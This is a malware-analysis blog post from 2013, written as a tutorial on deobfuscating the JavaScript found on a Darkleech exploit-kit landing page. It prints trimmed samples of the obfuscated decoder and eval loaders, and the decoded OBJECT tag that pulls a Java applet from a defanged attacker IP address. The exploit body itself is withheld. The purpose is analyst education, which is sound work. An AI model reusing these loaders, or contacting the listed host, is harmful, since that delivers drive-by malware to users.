Saturday, June 1, 2013

Darkleech Redirect Landing Page - Obfuscated Javascript

So recently I've been encountering a whole lot of Darkleech Apache Malware Module activity. For the most part, the Darkleech activity I've seen has followed the infection vector seen on the @MalwareMustDie blog - seen here: http://malwaremustdie.blogspot.com/2013/03/the-evil-came-back-darkleechs-apache.html. I'm not going to do an analysis of Darkleech itself since MMD covered that pretty well.

What I wanted to do was talk about the Darkleech landing page that the iframe injection sends the victim to, and the obfuscated javascript that is used to grab the java exploit. You could get the deobfuscated stuff automatically using FireBug or just running the JS in an IDE without doing anything to it (or by creating an intentional syntax error at key places and using IE's integrated debugger - thanks to @EricOpdyke for the pointer.. more on that later) and it will usually give you what you want. We are going to use an IDE for part of it, but we're gonna figure out what this thing is supposed to do by making it less confusing first. :) So, let's get to it!

First, let's take a look at part of the TCP stream in Wireshark so we know what to look for:


I think most analysts could spot this as being something bad. This sort of thing is incredibly common in malware as of late. But how do we figure out what it's trying to do? 

The first thing I did was save the tcp stream and then opened it up in any kind of hex or text editor (I use 010 Editor from SweetScape. It's pretty awesome, I highly recommend it.) to remove everything except what's between the <body> and </body> tags. That leaves us with something that looks like this (trimmed for brevity):


<body><u id="a123"></u><b style="position:absolute;top:-200px;">57,76,63,71,66,64,81,29,64,73,62,80,80,70,65,58,31,96,105,112,102,97,55,50,53,50,47,67,50,66,65,42,53,63,67,49,42,~snip for brevity~</b><script>try{--document["body"]}catch(dv32r3){a=document[("getEleme"+"ntsByTagName")]("b")[0].innerHTML["split"](",");for(j=0;j<a[("length")];j=1+j){a[j]=1*a[j]+3;}ff="fro";a=String[ff+"mCharCode"].apply(String,a);ps="span";d=document.createElement(ps);document["body"].appendChild(d);d.innerHTML=a;}</script><script language="javascript">

There's a lot more to it, but this will get us started. That's kind of a mess, so let's clean it up using JS Beautifier (http://jsbeautifier.org).

That gives us something that looks like this (again, trimmed for brevity):

<body><u id="a123"></u><b style="position:absolute;top:-200px;">57,76,63,71,66,64,81,29,64,73,62,80,80,70,65,58,31,96,105,112,102,97,55,50,53,50,47,67,50,66,65,42,53,63,67,49,42,~snip for brevity~</b>
    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getEleme" + "ntsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            ff = "fro";
            a = String[ff + "mCharCode"].apply(String, a);
            ps = "span";
            d = document.createElement(ps);
            document["body"].appendChild(d);
            d.innerHTML = a;
        }
    </script>



The first part with the try...catch section can usually be left alone/ignored. It's often put there just to throw you off.


So now, lets walk through this and start changing the easy stuff. There are a few simple "a = b" type statements there that we can do the replacements ourselves, so let's replace ff with "fro", and ps with "span", etc, etc then delete the original variables (Note: You can do this easier sometimes using find and replace in any text editor, just be careful you don't actually replace something by mistake... I prefer doing it manually):

    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getEleme" + "ntsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            a = String["fro" + "mCharCode"].apply(String, a);
            d = document.createElement("span");
            document["body"].appendChild(d);
            d.innerHTML = a;
        }
    </script>

Now there's a few sections where readable text strings that make more sense are starting to form, but are separated by "+", so let's take those out and do a few more replacements and have the first part of our script finalized:

    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getElementsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            a = String["fromCharCode"].apply(String, a);
            document["body"].appendChild(document.createElement("span"));
            document.createElement("span").innerHTML = a;
        }
    </script>

Okay, great, now what do you suppose this part of the script does? Well, if you look up there ^ at the top, you'll notice a long string of numbers separated by commas. This script basically loops through that string and passes each number through the loop, and deobfuscates it into something else, then puts that inside a new <span> element that gets created in the body of the HTML. Easy, huh? I can hear you saying this right now: Uh, Secluded, but I don't know Javascript! What do I do with this thing now?! Let me tell you: CALM DOWN, SIR! I'm getting there! 

We've done some basic deobfuscation to the javascript so we can see the general logic of this part. Normally, I'd continue doing this sort of 'deobfuscation' throughout the remainder of the Javascript (since you're only seeing a very small part of it here), working one <script> section at a time. I've done the remaining two script sections here, so you can see what it looks like when you're done:

Original:
    <script language="javascript">
        ga = "ge" + "tElementById";
        gg = "getAttri";
        qq = "q";
        zaq = "pars";

        function c() {
            s = new String();
            s = a.innerHTML;
            a = zxv = s;
            s = "";
            p = eval(zaq + "eI" + "nt");
            zw = "@";
            for (i = 0; i < a.length; i += 2) {
                if (a["s" + "ub" + "str"](i, 1) == zw) continue;
                x = a.substr(i, 3 - 1 5b4);
                ss = String["fromCharCode"];
                s = s + ss((p(x, 26) + 84) / 5);
            }
            c = s;
            eval(s);
        }
    </script>
    <div id="q" style="display:none;">jcfbii2oi8g0i8~snip for brevity~</div>
    <script

    language="javascript">xz=document; a=xz.getElementById(qq); qqa=1; try{qqa+=2}catch(q){qqa=0;} c();</script>

Notice how I left the final <script> section unformatted. That's because JS Beautifier didn't format it. You can tab it out yourself  to make it readable, but this one is small enough it's not really necessary. Variable replacements in this really aren't necessary unless you know more about how JS try..catch statements work and want to do it.

You may  have also noticed that sometimes a variable is assigned more than once (in the above example, variable "s" is assigned 3 different times). This sort of thing can be really confusing to know what to replace and where - it's much easier if you leave those sorts of variables alone. Anyway, on with the clean version!

Cleaned up:
    <script language="javascript">
        ga = "getElementById";
        gg = "getAttri";

        function c() {
            s = new String();
            s = a.innerHTML;
            a = s;
            s = "";
            p = eval("parseInt");
            for (i = 0; i < a.length; i += 2) {
                if (a["substr"](i, 1) == "@") continue;
                x = a.substr(i, 3 - 1);
                ss = String["fromCharCode"];
                s = s + ss((p(x, 26) + 84) / 5);
            }
            c = s;
            eval(s);
        }
    </script>
    <div id="q" style="display:none;">jcfbii2oi8g0i8~snip for brevity~</div>
    <script language="javascript"> a=document.getElementById("q"); qqa=1; try{qqa+=2}catch(q){qqa=0;} c();</script>

Important: When you're doing variable replacements, sometimes you'll see variables assigned to something, but then the variables don't get used. Leave them alone! That big ugly block of "random" text actually contains variable references that are needed for the deobfuscation to work!

What we can do now here is use our script above to deobfuscate that long string of numbers we see at the top of the landing page. You'll need some kind of Javascript debugger (some have recommended Rhino to me, but I can never make it work, so I use NetBeans IDE). So let's put our script into NetBeans and set up a few things before we try to run it.

Here, I've set up NetBeans with our full script:



In this case, there are two variables that the script uses to store the deobfuscated versions of the big blocks of numbers and/or text. Variable "a" and variable "s".  It's important to know that the second <script> section depends on the first <script> section running successfully - this is why we're analyzing this all at once.

In order to catch the variables stored value at any given point, we're going to want to set up two breakpoints. One breakpoint is going to be set on line 12:

            document.createElement("span").innerHTML = a;

And another breakpoint is going to be set at line 32:

            eval(s);

So let's do that real quick and get ready to run this thing:



What these breakpoints will do is stop the script from executing as soon as variable "a" is set to the deobfuscated string of numbers at the top of the html body, and then stop it again as soon as variable "s" is evaluated into the browser exploit code. :)

The last thing I do is set a watch for both variable "a" and "s" so I can more easily identify the contents of those variables at the breakpoints. I won't cover how to do that here, but it's easy to figure out. So, without further ado, let's run this thing in NetBeans and see what the variables deobfuscate to!

Update(06/01/2013): @EricOpdyke from Twitter made a good suggestion that can be a time saver to get variable "a" in the original script (before we started deleting unused variables):

@EricOpdyke said:
"Another fast and easy trick is set w/out quotes "alert(StringfromCharCode)" under "d.innerHTML = a" and open in IE. The IE debugger will intercept the alert [and then under "locals" you can find variable "a" which will be your java applet param]."

Thanks for the tip, Eric! :) -SM


To demonstrate the tip from Eric, I've done it here using the original code before we modified it above: *Note: This is simply creating a syntax error on purpose in order to get the execution to halt at that spot so you can look in the debugger. Also, you could technically change it to: alert(a);  and get a pop-up alert with the contents of variable "a", but I can't say for sure if it will pause the execution until you close the window. I'd need to do more testing to know for sure.*

    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getEleme" + "ntsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            ff = "fro";
            a = String[ff + "mCharCode"].apply(String, a);
            ps = "span";
            d = document.createElement(ps);
            document["body"].appendChild(d);
            d.innerHTML = a;
            alert(StringfromCharCode);
        }
    </script>

Running in IE...




Awesome stuff! Thanks again! :)

And back to our NetBeans method we previously started... First breakpoint:



Here we can see that execution has stopped at our first breakpoint, revealing by our Watch panel that variable "a" has been assigned to something. 

Variable "a" at Breakpoint 1:




Variable "a" value: <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" width="1" height="1"><PARAM name="app" value="hxxp://65.75.187.216/08f1d4a96b43f720/08f1d4a96b43f720/q.php?jnlp=3de182668d"/></OBJECT>

Second breakpoint: 


This is the second breakpoint. Notice how variable "a" is a different value? It's pulling that big block of random text from the <div> tag at the bottom. :) Variable "b" in this case has the exploit code (this will cause your browser or browser tab to crash in IE) that leads to the followup payload to be delivered (usually in the form of a pdf). 

Variable "b" at Breakpoint 1:



Variable "b" value not fully listed here for both brevity and security reasons.

Ultimately, most browser exploits have similar sections of obfuscated JS that do this sort of thing. They're written this way to try to confuse the analyst. Hopefully the things I've written here will be of some use to you! 

- Secluded Memory
Twitter: @Secluded_Memory

5 comments:

  1. Great analysis! Thanks for sharing.

    ReplyDelete
    Replies
    1. You're welcome - and thank you for the compliment! Next up is likely going to be the new banking blockade trojan, but that will focus more on the infection vector and behavior of the malware. Although, I do plan on doing more JS work in the future. :)

      Delete